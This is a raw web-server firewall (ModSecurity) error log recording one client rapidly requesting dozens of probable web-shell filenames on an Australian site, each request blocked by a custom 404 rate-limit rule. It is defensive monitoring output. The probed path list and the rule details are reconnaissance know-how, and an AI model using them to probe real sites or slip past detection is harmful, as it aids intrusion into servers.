[Sun Dec 21 20:00:42.920729 2025] [:error] [pid 59158:tid 59163] [client 20.2.26.82:16472] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUfhao7NvyNF8ab5VgUdegAAAMM"]
[Sun Dec 21 20:00:43.223980 2025] [:error] [pid 59070:tid 59145] [client 20.2.26.82:1817] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUfha33dhXne9KX1kgIjiAAAAJE"]
[Sun Dec 21 20:00:43.520037 2025] [:error] [pid 59068:tid 59125] [client 20.2.26.82:1888] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUfhaxmLyLqWUlrjwydt-AAAAFg"]
[Sun Dec 21 20:00:43.853315 2025] [:error] [pid 59158:tid 59164] [client 20.2.26.82:1844] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUfha47NvyNF8ab5VgUdfwAAAMQ"]
[Sun Dec 21 20:00:44.174601 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:1773] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aUfhbH3dhXne9KX1kgIjiwAAAJQ"]
[Sun Dec 21 20:00:44.477004 2025] [:error] [pid 59067:tid 59093] [client 20.2.26.82:1842] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aUfhbMtpsOP1NfIK_qJBpwAAABM"]
[Sun Dec 21 20:00:44.814668 2025] [:error] [pid 59068:tid 59110] [client 20.2.26.82:1898] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aUfhbBmLyLqWUlrjwydt-QAAAEk"]
[Sun Dec 21 20:00:45.137986 2025] [:error] [pid 59158:tid 59171] [client 20.2.26.82:16478] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aUfhbY7NvyNF8ab5VgUdhAAAAMs"]
[Sun Dec 21 20:00:45.459001 2025] [:error] [pid 59067:tid 59079] [client 20.2.26.82:1838] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUfhbctpsOP1NfIK_qJBqgAAAAU"]
[Sun Dec 21 20:00:45.776811 2025] [:error] [pid 59158:tid 59184] [client 20.2.26.82:1884] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUfhbY7NvyNF8ab5VgUdiAAAANg"]
[Sun Dec 21 20:00:46.101921 2025] [:error] [pid 59068:tid 59106] [client 20.2.26.82:1758] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUfhbhmLyLqWUlrjwydt-gAAAEU"]
[Sun Dec 21 20:00:46.466232 2025] [:error] [pid 59070:tid 59145] [client 20.2.26.82:1759] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUfhbn3dhXne9KX1kgIjkwAAAJE"]
[Sun Dec 21 20:00:46.805786 2025] [:error] [pid 59067:tid 59089] [client 20.2.26.82:1911] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/33.php"] [unique_id "aUfhbstpsOP1NfIK_qJBrgAAAA8"]
[Sun Dec 21 20:00:47.137238 2025] [:error] [pid 59068:tid 59103] [client 20.2.26.82:1836] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/33.php"] [unique_id "aUfhbxmLyLqWUlrjwydt_AAAAEI"]
[Sun Dec 21 20:00:47.451067 2025] [:error] [pid 59067:tid 59085] [client 20.2.26.82:1769] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/33.php"] [unique_id "aUfhb8tpsOP1NfIK_qJBsQAAAAs"]
[Sun Dec 21 20:00:47.799752 2025] [:error] [pid 59070:tid 59137] [client 20.2.26.82:1757] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/33.php"] [unique_id "aUfhb33dhXne9KX1kgIjlwAAAIk"]
[Sun Dec 21 20:00:48.103213 2025] [:error] [pid 59067:tid 59097] [client 20.2.26.82:1917] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o.php"] [unique_id "aUfhcMtpsOP1NfIK_qJBswAAABc"]
[Sun Dec 21 20:00:48.438199 2025] [:error] [pid 59067:tid 59075] [client 20.2.26.82:1865] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o.php"] [unique_id "aUfhcMtpsOP1NfIK_qJBtgAAAAE"]
[Sun Dec 21 20:00:48.757462 2025] [:error] [pid 59067:tid 59093] [client 20.2.26.82:1829] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o.php"] [unique_id "aUfhcMtpsOP1NfIK_qJBtwAAABM"]
[Sun Dec 21 20:00:49.078326 2025] [:error] [pid 59068:tid 59116] [client 20.2.26.82:1745] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o.php"] [unique_id "aUfhcRmLyLqWUlrjwyduAQAAAE8"]
[Sun Dec 21 20:00:49.383843 2025] [:error] [pid 59068:tid 59122] [client 20.2.26.82:1824] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcas.php"] [unique_id "aUfhcRmLyLqWUlrjwyduAgAAAFU"]
[Sun Dec 21 20:00:49.710602 2025] [:error] [pid 59158:tid 59182] [client 20.2.26.82:1903] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcas.php"] [unique_id "aUfhcY7NvyNF8ab5VgUdkgAAANY"]
[Sun Dec 21 20:00:50.025761 2025] [:error] [pid 59158:tid 59174] [client 20.2.26.82:1820] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcas.php"] [unique_id "aUfhco7NvyNF8ab5VgUdlQAAAM4"]
[Sun Dec 21 20:00:50.334954 2025] [:error] [pid 59068:tid 59110] [client 20.2.26.82:1688] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wcas.php"] [unique_id "aUfhchmLyLqWUlrjwyduBgAAAEk"]
[Sun Dec 21 20:00:50.666730 2025] [:error] [pid 59070:tid 59143] [client 20.2.26.82:16401] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUfhcn3dhXne9KX1kgIjmwAAAI8"]
[Sun Dec 21 20:00:51.189062 2025] [:error] [pid 59067:tid 59079] [client 20.2.26.82:1774] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUfhc8tpsOP1NfIK_qJBuwAAAAU"]
[Sun Dec 21 20:00:51.545115 2025] [:error] [pid 59158:tid 59176] [client 20.2.26.82:1827] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUfhc47NvyNF8ab5VgUdmAAAANA"]
[Sun Dec 21 20:00:51.878165 2025] [:error] [pid 59068:tid 59108] [client 20.2.26.82:1675] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUfhcxmLyLqWUlrjwyduCgAAAEc"]
[Sun Dec 21 20:00:52.244826 2025] [:error] [pid 59068:tid 59121] [client 20.2.26.82:1802] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aUfhdBmLyLqWUlrjwyduDAAAAFQ"]
[Sun Dec 21 20:00:52.660311 2025] [:error] [pid 59070:tid 59130] [client 20.2.26.82:1746] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aUfhdH3dhXne9KX1kgIjpgAAAII"]
[Sun Dec 21 20:00:52.957440 2025] [:error] [pid 59158:tid 59182] [client 20.2.26.82:1730] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aUfhdI7NvyNF8ab5VgUdmgAAANY"]
[Sun Dec 21 20:00:53.254888 2025] [:error] [pid 59070:tid 59131] [client 20.2.26.82:1770] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aUfhdX3dhXne9KX1kgIjqgAAAIM"]
[Sun Dec 21 20:00:53.579738 2025] [:error] [pid 59070:tid 59143] [client 20.2.26.82:16477] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUfhdX3dhXne9KX1kgIjrAAAAI8"]
[Sun Dec 21 20:00:53.887975 2025] [:error] [pid 59070:tid 59136] [client 20.2.26.82:1796] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUfhdX3dhXne9KX1kgIjrwAAAIg"]
[Sun Dec 21 20:00:54.235827 2025] [:error] [pid 59070:tid 59137] [client 20.2.26.82:1852] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUfhdn3dhXne9KX1kgIjsQAAAIk"]
[Sun Dec 21 20:00:54.580241 2025] [:error] [pid 59067:tid 59098] [client 20.2.26.82:1720] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUfhdstpsOP1NfIK_qJBvQAAABg"]
[Sun Dec 21 20:00:54.895220 2025] [:error] [pid 59158:tid 59170] [client 20.2.26.82:2034] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUfhdo7NvyNF8ab5VgUdmwAAAMo"]
[Sun Dec 21 20:00:55.229072 2025] [:error] [pid 59070:tid 59130] [client 20.2.26.82:1816] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUfhd33dhXne9KX1kgIjtwAAAII"]
[Sun Dec 21 20:00:55.578434 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:1813] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUfhd33dhXne9KX1kgIjuwAAAJI"]
[Sun Dec 21 20:00:55.938187 2025] [:error] [pid 59070:tid 59141] [client 20.2.26.82:1729] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUfhd33dhXne9KX1kgIjvgAAAI0"]
[Sun Dec 21 20:00:56.250325 2025] [:error] [pid 59070:tid 59129] [client 20.2.26.82:1850] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lol.php"] [unique_id "aUfheH3dhXne9KX1kgIjwAAAAIE"]
[Sun Dec 21 20:00:56.581387 2025] [:error] [pid 59070:tid 59140] [client 20.2.26.82:1738] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lol.php"] [unique_id "aUfheH3dhXne9KX1kgIjxAAAAIw"]
[Sun Dec 21 20:00:56.900625 2025] [:error] [pid 59158:tid 59180] [client 20.2.26.82:1855] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lol.php"] [unique_id "aUfheI7NvyNF8ab5VgUdnwAAANQ"]
[Sun Dec 21 20:00:57.221831 2025] [:error] [pid 59158:tid 59183] [client 20.2.26.82:1800] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lol.php"] [unique_id "aUfheY7NvyNF8ab5VgUdoAAAANc"]
[Sun Dec 21 20:00:57.503967 2025] [:error] [pid 59158:tid 59163] [client 20.2.26.82:1696] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fileas.php"] [unique_id "aUfheY7NvyNF8ab5VgUdoQAAAMM"]
[Sun Dec 21 20:00:57.790511 2025] [:error] [pid 59158:tid 59184] [client 20.2.26.82:1756] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fileas.php"] [unique_id "aUfheY7NvyNF8ab5VgUdowAAANg"]
[Sun Dec 21 20:00:58.105235 2025] [:error] [pid 59068:tid 59103] [client 20.2.26.82:1916] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fileas.php"] [unique_id "aUfhehmLyLqWUlrjwyduFQAAAEI"]
[Sun Dec 21 20:00:58.401273 2025] [:error] [pid 59070:tid 59131] [client 20.2.26.82:1905] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fileas.php"] [unique_id "aUfhen3dhXne9KX1kgIjzgAAAIM"]
[Sun Dec 21 20:00:58.710456 2025] [:error] [pid 59070:tid 59128] [client 20.2.26.82:1797] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3.php"] [unique_id "aUfhen3dhXne9KX1kgIjzwAAAIA"]
[Sun Dec 21 20:00:59.000907 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:1667] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3.php"] [unique_id "aUfhen3dhXne9KX1kgIj0gAAAJQ"]
[Sun Dec 21 20:00:59.294521 2025] [:error] [pid 59158:tid 59173] [client 20.2.26.82:1744] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3.php"] [unique_id "aUfhe47NvyNF8ab5VgUdqQAAAM0"]
[Sun Dec 21 20:00:59.575364 2025] [:error] [pid 59158:tid 59170] [client 20.2.26.82:1909] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/n3.php"] [unique_id "aUfhe47NvyNF8ab5VgUdqgAAAMo"]
[Sun Dec 21 20:00:59.909129 2025] [:error] [pid 59158:tid 59161] [client 20.2.26.82:1845] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aUfhe47NvyNF8ab5VgUdrQAAAME"]
[Sun Dec 21 20:01:00.230972 2025] [:error] [pid 59067:tid 59083] [client 20.2.26.82:1833] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aUfhfMtpsOP1NfIK_qJBwQAAAAk"]
[Sun Dec 21 20:01:00.547946 2025] [:error] [pid 59068:tid 59102] [client 20.2.26.82:1669] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aUfhfBmLyLqWUlrjwyduJAAAAEE"]
[Sun Dec 21 20:01:00.872015 2025] [:error] [pid 59067:tid 59091] [client 20.2.26.82:1767] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/an.php"] [unique_id "aUfhfMtpsOP1NfIK_qJBwgAAABE"]
